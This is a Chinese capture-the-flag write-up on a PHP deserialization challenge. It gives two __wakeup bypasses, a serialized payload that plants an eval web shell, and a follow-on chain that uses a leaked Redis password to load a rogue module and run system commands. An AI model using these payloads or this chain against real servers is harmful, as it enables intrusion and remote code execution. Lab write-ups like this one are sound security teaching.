题目链接
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| <?php class A{ public $code = ""; function __call($method,$args){ eval($this->code); } function __wakeup(){ $this->code = ""; } }
class B{ function __destruct(){ echo $this->a->a(); } } if(isset($_REQUEST['poc'])){ preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret); if (isset($ret[1])) { foreach ($ret[1] as $i) { if(intval($i)!==1){ exit("you want to bypass wakeup ? no !"); } } unserialize($_REQUEST['poc']); }
}else{ highlight_file(__FILE__); }
|
明显反序列化执行5#eval
,但是需要绕过8#__wakeup
wakeup绕过方式即让反序列化出来的类元素个数与实际元素个数不同
尝试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php class A{ public $code = "eval(\$_POST['cmd']);"; }
class B{ }
$a = new B; $b = new A;
$a->a = $b;
echo serialize($a) . "\n\n"; echo urlencode(serialize($a)) . "\n";
echo str_replace('A":1', 'A":2', serialize($a)) . "\n\n";
|
但过不了检测,会提示you want to bypass wakeup ? no !
代码中正则匹配了"B":x
和"A":x
类型中对应下标为1(即第2个,即A)的x个数是否为1,这里为2所以过不了检测;有两种绕过方法
法一
1可以过检测,那我们就让实际元素个数不为1(这里多加一个成员变量),也可以绕过
1 2 3
| $b->b = 0; echo str_replace('A":2', 'A":a', serialize($a)) . "\n\n";
|
法二
php对类名大小写不敏感,将A1
替换为a2
即可
1 2
| echo str_replace('A":1', 'a":2', serialize($a)) . "\n\n";
|
绕过后执行命令
1
| poc=O:1:"B":1:{s:1:"a";O:1:"a":2:{s:4:"code";s:20:"eval($_POST['cmd']);";}}&cmd=phpinfo();
|
phpinfo()
可以执行,但是system
尝试发现被过滤
连接蚁剑发现同一目录下有一个vim备份文件config.php.swp
vim打开后发现
1 2 3 4 5 6 7 8
| <?php
define("DB_HOST","localhost"); define("DB_USERNAME","root"); define("DB_PASSWOrd",""); define("DB_DATABASE","test");
define("REDIS_PASS","you_cannot_guess_it");
|
给了REDIS
的密码you_cannot_guess_it
从https://github.com/Dliv3/redis-rogue-server中下载`exp.so` 并在蚁剑中上传
蚁剑插件商城中下载 Redis管理 然后右键链接选择该插件
点击新建然后输入密码即可连接成功,这时随便右键一个db
选择执行命令
1 2
| MODULE LOAD /var/www/html/exp.so system.exec "ls /;cat /f*"
|